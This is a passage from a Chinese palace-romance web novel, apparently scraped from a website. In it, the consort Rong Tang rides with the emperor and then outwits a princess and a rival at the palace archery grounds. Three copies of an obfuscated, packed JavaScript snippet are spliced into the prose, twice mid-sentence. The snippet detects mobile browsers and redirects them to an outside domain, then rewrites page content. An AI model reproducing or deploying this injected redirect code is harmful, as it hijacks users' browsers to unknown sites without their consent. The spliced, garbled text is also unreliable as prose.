第二日,萧凛翻开名册,直接圈出了她的名字,随即丢下“不必再选”的旨意。礼部和内廷司前来请旨询问位分时,他微一沉吟,便择了贵妃之位。 于萧凛而言,他始终觉得皇后之位需要给自己倾心相爱且敬重之人。这一世,他不会在男女之事上动情,也注定不会有多么爱的人,那么,给一个深爱自己的女子仅次于皇后的贵妃之位,给她后宫独一份的尊荣地位,也足够了。 他打定主意,容棠入宫后,即便他不爱她,也会给她应有的尊重和呵护,不会让任何人质疑她这贵妃之位名不副实;只要她不谋逆犯上,不通敌叛国,他便不会废黜她。不论她性情刁蛮任性还是娇气做作,他都会包容她。 萧凛自认为自己做到了一个皇帝所能做到的一切。可饶是如此,他心中还是会如今日一样产生那样令人啼笑皆非的问题。 因此当容棠茫然地侧头看他时,萧凛有些不自在咳了咳,低声道:“......没什么。” 他紧了紧缰绳,道:“好好坐着,朕再陪你兜几圈,就该回宫去用午膳了。” 话音一落,容棠便听见有一道极短促的异声自自己腹中响起,幸好马蹄声响亮,应当将那饥饿之声盖了过去,不至于被听见吧。她刻意地抬手按了按腹部,又生硬地咳嗽了几声,似乎在借机警告它不要再闹出动静了。 身后,萧凛将她的小动作尽收眼底,眼角漫起悄无声息的笑意。他耳力极佳,自然听见了那声音。一想到贵妃宁肯强忍着腹中空空的难受,也要和自己同在一处,他的心便如同被暖流浸润了一般。 很快,马儿到了原点停了下来。萧凛率先下马,见容棠正欲踩着马镫下来,他不知为何又想到了她曾受过的那伤,当下上前一步,微抬手臂阻住了她的动作。 容棠疑惑地看向他:“陛下?” 萧凛张开手臂,搭上了她腰侧。他站在那儿,抬头看着她,虽然没有说话,但意图显而易见,是要亲自把她抱下来。 容棠脸一热,想说自己并非娇滴滴的柔弱女子,区区下马还难不倒她。便如方才,其实萧凛不陪着她,她也有足够的信心能够驯服这陌生的马儿。可这样的话在心头盘旋了一下,很快被她咽了回去。笑话,若她真的这样直白地拒绝天子的亲近,那也太不解风情,不给他面子了。 既然在所有人眼里,她已经担了宠妃的名头,那么索性就心安理得享受宠妃的待遇,否则就亏大了。 想到这里,容棠很顺从地弯下腰,低了低身子,双臂搂住萧凛的脖子。她距离他极近,鼻间嗅到他身上清冽的气息。奇怪,方才他分明骑了许久的马,可身上一丝一毫汗味都没有,连飞沙与尘土的味道也掩在了一股清幽而淡雅的香气之中。 那香气......容棠稍稍用力吸了吸鼻子,辨认出其中似乎有栀子和薄荷的气味。奇怪,为何她会觉得这味道这般熟悉,好似在哪里闻到过一样?尚未想出结果,她便感觉到温热的掌心贴上了自己的腰身。 萧凛一手扶住马背,一手揽着她的腰,轻轻松松单手把她抱下了马,稳稳地放在地上。容棠站定,抬头去看他。 离得近了,她这才看清萧凛额头也有细细密密的汗珠,那双眼睛轻而缓地眨着,咫尺之间,静静看着她。 透过那深墨色的瞳孔,她看见了自己的倒影,这才意识到双臂还缠在他身上,以至于萧凛要微微俯身才能配合她的动作。容棠慌乱地撒了手,轻声道:“谢陛下。” 萧凛站直身子,转头吩咐道:“朕陪贵妃回长乐宫,午膳也顺便摆在那儿。” 程良全应声道:“是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881333|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>* 大燕朝没有妃嫔侍膳的规矩,因此容棠得以舒舒服服地坐下。她闻着饭菜的香气,饿意愈发如潮水般强烈而势不可挡。只是碍于多年来受到的礼仪教导和眼前端坐着的那尊大佛,她依旧文静而矜持地用着膳。 皇家一向是食不言寝不语,因此萧凛也始终保持着沉默。他品尝着面前的菜肴,再抿几口温热的汤羹,一切都和平日在福宁殿用膳别无二致。 不同的大概是面前多了个活力十足的贵妃吧。 他的目光越过饭碗淡淡扫向容棠,见她动作文雅,处处都是大家闺秀的做派,让人挑不出半点毛病。但她眼底却隐约跃动着星芒,那张脸写满了满足,看着她不疾不徐地吃着,他竟觉得自己碗里的菜变得格外香了一些。 午后的日光被窗纱一遮挡,化作柔和的光华柔柔落进殿内。萧凛看着容棠,感受着她鲜活的气息,恍然觉得这似乎就是幼时的他始终期盼却没能感受过的温情。没有规矩,没有名位,只如寻常百姓般相对而坐,一口一种饭菜,吃得香甜。 他握着筷子的手指微微收紧,指腹碾过银筷表面,感受着那里逐渐被熨帖得温热,一如那颗冷寂的心。 待宫人们将残羹与碗筷撤下,容棠小小地打了个哈欠,有些困倦。她很想回到内寝,径直扑进床铺睡觉,可萧凛还稳如泰山地坐在那儿,小口小口品着饭后奉上的茶,完全没有要走的意思。 容棠心底不住祈祷着,希望他能快快起驾离开,好放自己自由。 不多时,萧凛终于站起身,作势要往外走。容棠心中一喜,心想他若是回福宁殿,自己便可以自在地歇晌,便竭力抑制住欣喜的情绪,尽可能平静无波地出声道:“陛下要走了吗?” 她的声音落在萧凛耳中,显得有些怅然若失。他一顿,缓缓回头,竟难得地踌躇了一下。说来也是荒唐,他竟有些留恋这长乐宫中的温情脉脉。 但他不能再沉溺在温柔乡里了。萧凛暗自摇头,想到还有不少奏折等着阅批,便道:“朕还有折子要看,先回福宁殿了。” 他略顿了顿,又道:“这几日朝政繁忙,朕晚间便不来长乐宫了。贵妃不必等朕,早早歇下吧。待朕得了空,再来......陪你。” 容棠心下一喜,那岂不是意味着这几日她可以轻松自在地在自己的寝殿内好好休息了?她抿唇,柔婉地应了声“是”。 萧凛看一眼贵妃低垂着的眉眼,没再多言,转身便离开了。容棠屈膝恭送他离开,直到看见御驾彻底消失在视线内,才如释重负地直起身,快步回了内寝。 烟雨和岚月跟了进来,替她除去外衫和鞋子,解开发髻。烟雨道:“娘娘晚膳想用些什么?奴婢提前告诉拂云,好让小厨房好生准备着。今晚陛下既然不来,娘娘可以自在许多了。” 容棠闭着眼道:“这会子我也想不出来。罢了,时辰还早,待我醒了以后再说吧。先容我好好睡一觉。” 那两人依言为她掖好被子,便轻手轻脚退了出去。 23. 交锋 这一夜没有萧凛那尊大佛在身边,容棠睡得格外惬意自在。她醒来时,天色已经大亮,撩开床帐时可以看见明亮的日光透进殿内,被窗纱折射成温柔的光影,落在莲花纹的水磨砖上。 她盯了一会,觉得有些晃眼,便抬手遮了遮,半睁着眼懒懒地看着四周。她床榻上悬着的床帐是石榴纹的,寓意多子多福,这也是无数妃嫔终其一生的心愿。 说起此事......容棠觉得有些不可思议,为何时至今日,萧凛从来都没有要召她侍寝的意思? 容棠不是矫情做作之人,既然入了宫,便知道迟早要经历那一遭事,她也不会一味害怕和逃避,也不会故作矜持和清高。只是萧凛的态度,着实让人捉摸不透啊。 若是说他不喜欢自己,可他面对自己时总是那样温和耐心。堂堂实权天子,不可能强迫自己去接近厌恶的人并对她假装和颜悦色; 若是说他喜欢自己,可他的一举一动却总是透着莫名的疏离,似乎对她只是在例行公事,做好一个帝王能够对妃嫔做到的事情。 容棠几乎要怀疑萧凛册封自己是另有目的了,可她绞尽脑汁也不明白自己以及背后的容家有什么值得他这样大费周章的。 她长叹一声,觉得心中空落落的没个依傍,总担心有什么猜不透看不出的真相。正有些思虑重重时,门外传来轻轻的扣门声,紧接着是烟雨的声音:“娘娘,该起了。昨日您不是说今儿要去御花园走走吗,若是再晚了,那日光愈发灼人了。” 容棠打了个哈欠。她昨日确实嘱咐烟雨和岚月按时唤醒自己,趁着晴光正好出门走走,否则这宫中的日子也太漫长而无趣了。 她很快起身梳洗打扮一番,又简单用了早膳,便换了身浅碧色的衣裙,欢欢喜喜地出了长乐宫。 宫中没有其他妃嫔的好处便在此时体现了出来。容棠一路走过去,除了偶尔遇见匆忙经过的宫人,便再也没有旁人来打扰她赏景的兴致了。 白日的太清池愈发波光粼粼,如同落满了碎金般熠熠生辉。容棠再度登上云梦阁,纵目远望,却不经意想起了那晚与萧凛一同登楼的情形。 烟雨和岚月一左一右在她身侧,瞧着这番景色,不由得感叹道:“这皇宫中的风景果然不同寻常,娘娘入宫也算是一饱眼福了。这等景致,咱们在府上可没法见到。” 容棠认同地点头,又道:“只不过比起咱们府上,到底还是寂寥了些。若是在家中,我便可以和爹娘热热闹闹坐在一处赏景说笑。” 烟雨道:“奴婢就喜欢这样清清静静的御花园。娘娘想想,若是陛下还纳了一大堆妃嫔,再生了一群皇子公主,那么这御花园是热闹了,可也聒噪得很。娘娘在上头赏着景呢,一低头便看见无数妃子们领着各自的孩子玩闹,她们还时不时要来向您请安,那些孩子再缠着您说会话......” 容棠想象了一下那个场景,不由得抖了抖肩膀:“罢了罢了,还是今日这样好。” “所以啊,如今这样多好,”烟雨喜滋滋道,“放眼望去没有其他人,娘娘可以尽情在这儿走动赏玩。” 然而这话音刚落,几人便看见自不远处走来一行人。当先那两人举止亲密,笑语阵阵,显然关系极其熟稔。容棠眼底掠过一丝讶异,随即恢复平静。 她扯了扯唇:“烟雨,往后你莫要随意开口了。” 烟雨问道:“为何?” “因为我怕你刚说过的话下一刻就会在相反的地方应验。” “......” 容棠出门虽没有传步辇,但跟着待命的宫人还是不少,此刻都在云梦阁下候着。那两人看清这阵势,很快止住了话,一齐抬头看向了阁楼之上。 这算不算不是冤家不聚头?容棠在心底想。 “贵妃娘娘?真是没想到会这样巧啊,”身穿石榴红衣裙的女子掩唇一笑,“咱们可真是心有灵犀,竟都在这个时候来了御花园。相聚即是有缘,既如此,娘娘可否容我们上去坐着说说话?” 你都这样说了,难道我还能拒绝不成?容棠腹诽,面上却绽开一个温婉的笑,很有风度地道:“想不到能在这儿遇见长公主与顾姑娘,请上楼来吧。” 云梦阁二楼的临窗处设有桌案,长乐宫随侍的宫人麻利地端了茶水和点心,一一摆放整齐。丹阳长公主与顾琼珠并肩登楼,徐徐走了过来。 彼此见了礼,容棠便率先坐了下来,道:“长公主,顾姑娘,请坐吧。”又笑道:“这些茶点皆是长乐宫小厨房的手艺,你们略尝尝。” 丹阳长公主笑吟吟道:“贵妃娘娘宫中的点心,自然是极好的。”她说着,很快拈起一块尝了,顿时赞不绝口。 顾琼珠亦笑道:“多谢贵妃娘娘。” 容棠浅浅抿了口茶。她看得清楚,这两人正是从启祥宫的方向来的,必然是刚见过太后。 丹阳长公主入宫倒不是什么新鲜事。当年先帝把萧磐带进宫里抚养后,她虽没有被一道养在宫中,但也得了特许,凭令牌可以随意入宫,不必另行请旨,因此她也算是宫中的常客,所受恩宠不亚于萧磐。 容棠听飞雪说起过,丹阳长公主自小便极其受当时的皇后和先帝疼爱,被他们视作了亲生女儿,否则也不会破例封为公主了,再者,当初萧磐被接进宫里时已经是个半大的孩童了,早已过了撒娇的年纪,而丹阳长公主却尚年幼,又是女孩儿家,每每入宫便住在太后宫里,与太后自然更加亲近一些。 至于这位顾姑娘......她入宫定是得了太后的传召,而太后此举之意也是昭然若揭。看来,只要皇后之位一日未定,太后便不会轻易放弃。 若是从前,她知晓顾琼珠对萧凛的心意,必然会想方设法求月老垂怜,将这两人的红线绑在一处,全了这段美好姻缘。但时过境迁,如今的容棠扪心自问,她终究还是想为自己考虑。 若是顾琼珠入宫,她的日子一定没有现在这样轻松惬意,还得花时间与她周旋相处,而太后一定会更加不待见自己。 容棠自我安慰般想,既然萧凛根本没有选顾琼珠,那么就说明他对她没有情意。那么,自己即便在心中不期盼顾琼珠入宫,也不算是阻了什么姻缘。毕竟这是妾有意,郎无情啊。 她心中转过无数念头,面色却十分淡然,目光时不时落向远处的景致,显得十分轻松自在。对面的丹阳长公主见状,便放下茶,微笑着道:“昨儿晚间,太后传了懿旨,命我与顾家妹妹入宫陪她老人家说说话,原本今日便该去长乐宫拜见的,偏生我们一早便在启祥宫陪太后一起礼佛,还望娘娘不要见怪。” 容棠笑得温和:“这是哪里的话?长公主与顾姑娘皆是识大体、懂进退的人,自然不会做出什么失了礼数的事情。即便是母后发了话,想来两位也会一丝不苟按着入宫觐见的规矩行事的。” 论起来,容棠这个贵妃既然摄后宫事,那么凡女眷入宫,必得有人向她禀报。即便是太后做主,不必她准许,至少也该让她知情才是。然而太后显然没有把她放在眼里,直接越过了她。若不是今日在御花园遇见这两人,只怕等她们出了宫,自己才知晓吧!而看丹阳长公主的意思,完全没有要携顾琼珠正式去长乐宫拜见她的意思。 容棠心想,丹阳长公主早已出降,比顾琼珠大了不少几岁,没想到关系却这样好。 对面的丹阳长公主听了她的话,面色微微一滞,随即笑道:“那是自然。” 几人又不咸不淡地说了会话,容棠略有些疲倦地向后仰了仰身子。丹阳长公主眸光一闪,含笑问道:“娘娘入宫也有些日子了,不知可还习惯?若是日后娘娘觉得无事可做或是闷得慌,大可随时传召,我很愿意陪娘娘叙叙话解解闷,左右我每日在府上也无事。” 丹阳长公主的驸马一年前病逝了,自那之后她便没有再嫁,而是独自住在公主府上,得闲了便回王府探望母亲和兄长,或是进宫陪陪太后,乐得逍遥自在。 容棠笑道:“多谢长公主好意。”却并未接她的话。 忽而一阵清风徐来,拂动窗边垂着的竹帘轻微摇晃。不知为何,方才还是艳阳高照,这会子忽然飘来了不少云彩,将那原本暖融融的日光遮蔽了大半。容棠正对着窗子,下意识低低咳嗽了几声。 “娘娘,不如我们去别处走动走动?总在这儿坐着吹风,怕是也挺无趣的。”丹阳长公主笑着道。 容棠点点头:“好。” 几人下了楼,丹阳长公主又道:“娘娘初来乍到,怕是还不曾全览这宫中景致吧?不如我们沿着太清池一路向东走。正好娘娘的长乐宫也在那边,若是累了也好回去歇息。” 容棠颔首,便随她们一道慢慢走着。丹阳长公主确实极富亲和力,一路上的言行都让人挑不出半分差错,还时不时说笑几句,引得容棠禁不住莞尔。 她们走着走着,发觉渐渐远离了御花园,来到了宫中的演武场附近。 丹阳长公主停步笑道:“瞧着这演武场,倒让我想起小时候的事了。那时陛下和兄长便在此处随师傅一道学习弓马骑射,我心中好奇,却不敢靠近,只能远远看着他们。如今想来,竟也是数年前的事情了。其实那时先帝也有意让我也和他们一道练习,但母妃和太后都担心我被那弓箭伤了手,便不准我轻易尝试,现下想来倒真有些后悔啊。” 她笑看着顾琼珠道:“在这一点上,琼珠妹妹便胜过我许多了。改日,我定要向妹妹好好请教一番这等功夫。” 顾琼珠说道:“长公主谬赞了。” 丹阳长公主面上显出几分怅惘:“我还记得小时候在这跑马场骑马的事情,那时年少气盛毫不畏惧。一晃这么多年过去,现下我反倒有些缩手缩脚,也真是惭愧。” 一旁的顾琼珠嘴角微微一动,温声道:“殿下是触景生情,想去跑马场和演武场走一走吗?” 丹阳长公主微赧:“还是琼珠妹妹耳聪目明,说得一点不错。到底是我痴长几岁,总爱念着过去的事。” 顾琼珠道:“臣女愿陪长公主一道,即便不能骑马,松泛松泛也是好的。” 丹阳长公主一喜,道:“有妹妹这句话,我便安心了。”她说罢,看向容棠道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884722|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘娘可愿赏脸,与我们一道前去?若是娘娘乏了,不如先回宫歇息。” 容棠一眼扫过她与顾琼珠,隐约察觉到她们似乎有什么目的。她微一沉吟,笑眯眯道:“好啊。” 几人便举步向跑马场行去。 上回容棠来此处时,只顾着留神萧凛的一举一动,并未注意到跑马场西侧有一片极其宽阔的演武场,沙地上摆放了许多箭靶,显然是供人射箭的,但此刻空无一人。倒是这地方的另一边,还有一小处是一模一样的陈设,正有不少士兵卫士正在操练。 想来,这两处无人的场地便是御用的,或者说,是皇室中人专用的,旁人不能随意进入。 负责戍守的人看清了三人,踌躇了一瞬,依次请安。 丹阳长公主开口:“我们同贵妃娘娘要在此随意走走,你们先退下吧。” 那守卫不敢多言,躬身道:“是。” 容棠只淡淡笑着,静观其变。 丹阳长公主环顾跑马场,不无遗憾地道:“只可惜今日我未曾着骑装,纵然心痒,却也没法亲自上马。” 顾琼珠道:“长公主若看得起臣女,可随时传召臣女陪您骑马。” 丹阳长公主笑着点头,转而向容棠道:“不知娘娘是否喜爱骑马?我斗胆想与娘娘相约,一道来此策马玩乐一番。” 容棠很爽快地道:“好,那我便等着殿下相邀了。” 她的语气太过笃定,丹阳长公主与顾琼珠下意识一愣,眼底掠过若有若无的狐疑,随即隐去。 “今日既然不得骑马,不如我们再去那边的演武场走动走动?”丹阳长公主提议道,“也瞧瞧我大燕的士兵们是怎样的骁勇。” 容棠点点头。 三人隔着围栏,隐约看见那边正在练习的士兵们。他们个个身强体健,灵活敏捷,弯弓搭箭向箭靶射去,箭矢破空之声不绝于耳。 丹阳长公主是独身之人,看起这样的年轻男子没什么顾忌,容棠和顾琼珠则不约而同撇开了目光。容棠将头转向跑马场那边,眼波流转,不知怎的又想起那日与萧凛同乘一骑的情形来。 他手臂箍住自己腰身时那无法忽视的热意,像是一团小小的火,一旦烧了起来便再难无声无息熄灭。她摇了摇头,竭力将那些绮念赶出脑海。 恰在这时,丹阳长公主也收回了打量的目光,说道:“可惜我不曾学过射术,不然真想试一试。” 容棠抿唇一笑,说道:“长公主竟也喜欢此道吗?” 丹阳长公主似乎对她话里的疑问格外在意,说道:“虽然大燕女子一向以琴棋书画为重,只不过这女子若是太过柔弱也不大好,倘若一阵风便能吹倒了,岂不是堕了我朝的威风?因而我以为,刚柔并济才是最佳。娘娘觉得呢?” 容棠若是再听不出她的言外之意,那还如何在这深宫中待下去?心想这长公主未免道行太浅,三言两语便将自己的用意暴露无遗。她心念一转,决定将计就计,立刻摆出一副不太自然的神情,柔声道:“只不过世间男子,大多还是喜欢温良柔顺的女子吧?” 丹阳长公主将她的样子尽收眼底,说道:“旁人我不知道,但陛下并不是寻常男子。他极擅骑射,常爱在这演武场与跑马场策马。我想,陛下一定也盼着这后宫之中能有人能陪他一道切磋切磋吧?” 她又状似歉疚地一笑,道:“当然了,娘娘花容月貌,陛下一定更爱重......此话没有冒犯娘娘的意思。我一向在太后和陛下面前心直口快惯了,他们也都纵着我,今日在娘娘面前失礼了,勿要见怪。” 如果说起初容棠还对这位长公主的行为有些许不快,那么此刻她只觉得可笑,因为她已经许久没有见过蠢得这样清新脱俗的人了。 她笑道:“殿下这就同我见外了,我哪里会计较这点细微之事,只会伤了和气。” 丹阳长公主轻咳了一声,不动声色地碰了碰顾琼珠的手臂,笑道:“琼珠妹妹应当很擅此道吧?不知我与娘娘今日是否有眼福能一观呢?” 顾琼珠默了默,道:“长公主说笑了,我不过是幼时学过几日,粗通皮毛,要说擅长,那是远远不够的。” “妹妹不必谦虚,你出身武将世家,此等骑射之事岂不是信手拈来?我与贵妃都是弱女子,便只能拱手认输,只一心看你一展风采了。”丹阳长公主道。顾琼珠推脱不下,只好走上前去,拿起了一把弓。 容棠本自悠闲看着,闻言讶异道:“长公主怕是对我有所误解,我并不是什么弱女子。这射艺之事嘛,也略通一二。” 丹阳长公主一愣,与顾琼珠对视了一眼,这才道:“娘娘的意思是?” 容棠微勾唇,也走上前去,取了一把不大不小的弓,象征性地掂了掂,又戴上扳指,从一旁的箭匣里取出羽箭,弯弓搭箭。 她舒展了一下身体,轻轻松松便拉开了弓,对准箭靶后一松,箭矢如流星一样飞射而出,正中靶心。 丹阳长公主目瞪口呆:“......” 一旁拿着弓尚未动作的顾琼珠:“......” 24. 暗流 容棠搁下弓,眉眼弯弯一笑。 丹阳长公主愣了片刻才勉强笑道:“......想不到贵妃娘娘竟如此通晓射艺。” 容棠淡笑:“不敢,不过是略会些骑射的粗浅功夫罢了。” 顾琼珠沉默片刻,含笑道:“想不到娘娘出身文臣之家,却有这么好的武学根基。不知娘娘曾师从何人?琼珠佩服,也很想请教一番呢。” 她说得轻描淡写,语句里却暗藏机锋。一个文官家中养出的女儿却如此擅长弓马骑射,焉知是不是与什么武将有所来往或意图结交拉拢呢? 丹阳长公主有所醒悟,忙开口道:“正是,娘娘不仅擅射艺,这骑术应当也极其出挑,不知是向哪位高手讨教的?” 容棠才不会遂了她的愿掉入陷阱,当下眨了眨眼,笑眯眯道:“前几日午间,我恰好向陛下请教了一番骑术,受益匪浅。” “......” 既然萧凛都知道贵妃擅骑射之事且并无半分异样的反应,她们还妄图揣测什么呢?顾琼珠神色一暗,微笑道:“原来如此,多谢娘娘解惑。” 她看了丹阳长公主一眼,暗示可以告辞离开了,然而丹阳长公主重重呼出一口气,心有不甘,说道:“娘娘,不如我们移步那边的阁楼,略作歇息?” 容棠看出她一定另有后手,反正今日无事,她倒也很有耐心,想看看这位长公主究竟还有什么高招,便颔首:“也好。” 三人在演武场旁的一处专供休憩的屋子里坐下。丹阳长公主抿了几口茶,道:“偶然听陛下说起过,贵妃娘娘出身书香世家,令尊又身在工部,必然饱读群书,见多识广。想来娘娘也不遑多让吧。” 容棠听她贸然提起父亲,神色不变,只等着她的下文。 丹阳长公主道:“说起来,我兄长这些日子也用起功来,说是受了容大人的鼓舞,也要好生研读一些典籍,否则如何为陛下分忧解难呢?” “尤其是此等事关江山社稷、祖宗龙脉的大事,兄长更是呕心沥血,生怕自己才疏学浅而在朝堂上失了颜面。” 丹阳长公主费力地铺垫了一番,只等着容棠按捺不住出声追问是何事,谁知她只礼貌一笑,随即便把目光转向了窗外,不知是在欣赏什么风景。 “......”丹阳长公主咬唇,想起兄长的叮嘱,心下犹疑,明知不该继续多言,却还是不服气。 按说她与容棠并没有什么利害冲突,但她就是看不惯陛下竟为了旁人而舍弃了顾琼珠,甚至特意赶去启祥宫为容棠撑腰,不惜与太后争论。顾琼珠出身侯府,是太后的亲眷,又与自己相识已久,明明对陛下一片真情却不被他所喜,她实在觉得愤愤难平。 最重要的是,丹阳长公主丧夫后虽也见惯了无数男子,却没有一个合她心意的,直到一日遇见了顾琼珠的兄长,她才觉得自己死寂的心重新又活了过来。她从未这样喜欢过一个男子,只是她与萧凛情分淡薄,自然不敢去求他为自己赐婚;而太后虽疼爱自己,却也从未表现过想要撮合她与顾公子的意思。 丹阳长公主打定主意要扶持他的妹妹,助顾琼珠达成心愿。若顾琼珠成了皇后,萧凛看在皇后的面子上,兴许便允了她的婚事。 想到这里,丹阳长公主一时冲动,便忍不住道:“娘娘久在深宫,有些事情或许不甚明了。如今我兄长正在为挑选陛下的万年吉地之事而忙碌,若我所料不错,此事正是娘娘的父亲、工部的容尚书大人主理吧?容大人劳苦功高,为了此事不辞辛劳,将舆图奉与陛下以供裁决。陛下信任兄长,特意召他入宫一同商议此事,我兄长与容大人却意见相左。兄长本着为陛下百般考虑的意图,认真选了其中一处,陛下亦觉得不错,可容大人却说兄长挑选的地方不适宜修建陵寝,两人争论不下,陛下便说择日再议。为此,兄长昼夜苦读,翻阅了不少有关风水堪舆的古籍,打算过几日再呈报陛下。” “自然,容大人身为工部尚书,定然深谙陵寝选址之道,否则也不敢对陛下的心意加以劝阻。我兄长即便再苦读,也抵不过容大人数年来的真才实学。娘娘觉得,陛下最终会采纳谁的建议?” 容棠心中警铃大作,面上却不动声色,只矜持微笑道:“长公主说笑了,此等朝政之事,我身为妃嫔怎能晓得,又怎好过问?此事自有陛下圣心独断,旁人即便说得再滔滔不绝,也得陛下点头了才可。我想,陛下不论如何决定,都有他的道理和考量。” 丹阳长公主没有听到自己想要的回答,也没能从容棠脸上发现一丝一毫失态的神色,不由得气闷。一旁的顾琼珠深呼吸了几下,有些绝望地转开了头,闭上了眼。 又坐了片刻,丹阳长公主腾地起身,道:“娘娘恕罪,我与琼珠还要回启祥宫侍奉太后,就先告退了。” 容棠含笑起身:“正好,我也该回长乐宫了。长公主和顾姑娘请便吧。” 她说着,施施然转身离开。 两人看着容棠的背影,面上神色各异。丹阳长公主看向顾琼珠,眉头微微蹙起:“琼珠,你从前在家中时,不曾了解过容氏的底细吗?” 她有些恼:“想不到这容氏还真有些本事。” 顾琼珠竭力保持着平静道:“我只知道数月前她曾因坠马而受过重伤,将养了好些时日不曾露面。至于其他的,我并未去了解过,她也从未在外有所显露。” 毕竟从前京中的贵女之中,容棠的家世并不算出类拔萃,她本人也并不是爱出风头的性子,彼时出身侯府的顾琼珠并未高看她一眼,与她也并不算多么熟悉。那时,她所交好的几人皆出身不俗,或与皇室沾亲带故,或祖上居功甚伟,远远胜过容家。因此,谁也没想到,皇帝最终却会选了她入宫。是以顾琼珠对容棠始终只有个模糊的印象,依稀记得她模样不错,出身文官之家,至于什么出挑的才艺和美名,那是没有的。 “罢了,”丹阳长公主不再看她,“琼珠你莫要着急,先让她得意着吧,日子还长,我们从长计议。” * 容棠回到长乐宫,维持了一路的笑意消失殆尽。 从丹阳长公主口中,她意识到父亲与萧磐在皇陵择定之事上各执己见,而父亲一向严肃耿直,不知会怎样反驳萧磐的言论。她自然相信,父亲是一心为陛下着想,希望陵寝建造在一个各方面都挑不出错处的地方,这既是他的职责,也是大燕的传统。而萧磐不知是出于什么目的挑中了另外一处,两相争论,相持不下。听方才那番话,萧凛似乎本也认同萧磐的主意,却因为父亲的谏言而犹豫起来。以萧磐那样阴险的性子和狭窄的心胸,怕是已经在心中记恨起了父亲。 她努力回想着前世此时的事情,却发觉毫无线索。容肃文一向报喜不报忧,很少对她们提及朝政之事,不知这件事最终是如何解决的。但她可以确信,萧凛最终应该还是采纳了父亲的建议。因为她依稀记得前世萧凛病重时,父亲匆忙起身离京前往督办建陵之事,临行前曾随口说起过自己昔年考察此地时的见闻以及选中它的原因。 但不知,萧磐会不会怀恨在心,日后更伺机打击。 容棠忧愁地靠在榻上,长叹一声。 她可以确信,今日之事用不了多久就会传到御前,萧凛肯定也会知晓她们所说的话。也不知他心中是何想法?这个时候,她还是得避一避风头,若是萧凛传召,她一言一行都得万分谨慎小心,以免引得他起了疑心。 * 福宁殿。 萧凛一言不发,正垂眸听人详细禀报着今日宫中发生的一切。 当听到“贵妃弯弓搭箭,一箭中靶,令长公主与顾氏愣怔在原地”时,他眉宇间的沟壑缓缓淡去,唇角轻勾,露出一丝浅淡而意味深长的笑。 下首的人见状立刻噤了声,小心瞧着他的神色。 萧凛抬指叩了叩桌案,示意他继续。 待听到丹阳长公主那番别有用心的话时,萧凛面色缓缓一冷。 他搁下朱笔,淡淡道:“朕这位皇姐,可真是个奇人啊。” 一旁的程良全屏息凝神,心中却也啧啧称奇。这丹阳长公主真是大胆,竟敢在宫中妄言朝政,还是当着贵妃娘娘的面说的。好在贵妃还是识大体的,并未接她的话,而是不咸不淡地绕开了话题。 明明一母所生,怎么长公主与王爷的品性才智却截然不同? 回话的人离开后,萧凛阖着眼靠坐在书案后,手指不轻不重敲着,久久未语。直到暮色渐沉,有启祥宫的宫女求见,说是太后请陛下前去用晚膳。 程良全将原话回禀了陛下,却见陛下冷冷淡淡丢下一句:“告诉太后,朕忙于政事,待得了空再说。” 这便是不愿去的意思了。程良全暗自咋舌,陛下虽不是太后亲生,私下亲情也不是多么深厚,但至少明面上还是母慈子孝、其乐融融的,这还是头一回直截了当驳了太后的话,莫非是被今日长公主的所作所为惹恼了? 他顿了顿,轻声询问:“陛下,这会子要不要让膳房备膳?” 萧凛嗯了一声,随即继续低头看起了折子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890688|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一晚,福宁殿的烛火亮了很久。 与此同时,启祥宫。 太后愕然:“皇帝不来?” 前去传话的宫女低声道:“陛下说他政务繁忙,一时间不得空。” 此话一出,陪坐在太后身边的两人不约而同露出了异样的神色。丹阳长公主有些不安地低下头,顾琼珠则垂了垂眉眼,掩去其中的一丝暗淡。 “皇帝从未这样拒绝过哀家,他今日是怎么了?”太后眉头紧紧蹙起,又问道,“皇帝是不是被贵妃绊住了?” 宫女摇头:“陛下独自一人在御书房,奴婢走的时候听见福宁殿的膳房传膳,却并未见贵妃前来。” 太后挥挥手命她退下,自言自语:“好端端的,皇帝为何不肯来启祥宫?” 跳动的烛火下,丹阳长公主的神色显得愈发心虚。太后虽年岁渐长,但目力不减,加之对她一向了解,见她举止极不自然,顿时起了疑心,道:“丹阳,你今日在宫中可曾遇到皇帝或是其他人?” 丹阳长公主讷讷道:“我......我与琼珠妹妹随意逛了逛御花园,并未见到陛下,只见到了贵妃。” 太后“嗯”了一声,问道:“你们说了什么话,去了哪些地方,一五一十告诉哀家。” 丹阳长公主只好如实道:“儿臣和琼珠在太清池畔遇到贵妃,一起散步去了宫中的演武场和跑马场,略松了松筋骨,后来在场下歇息片刻便各自离开了。” 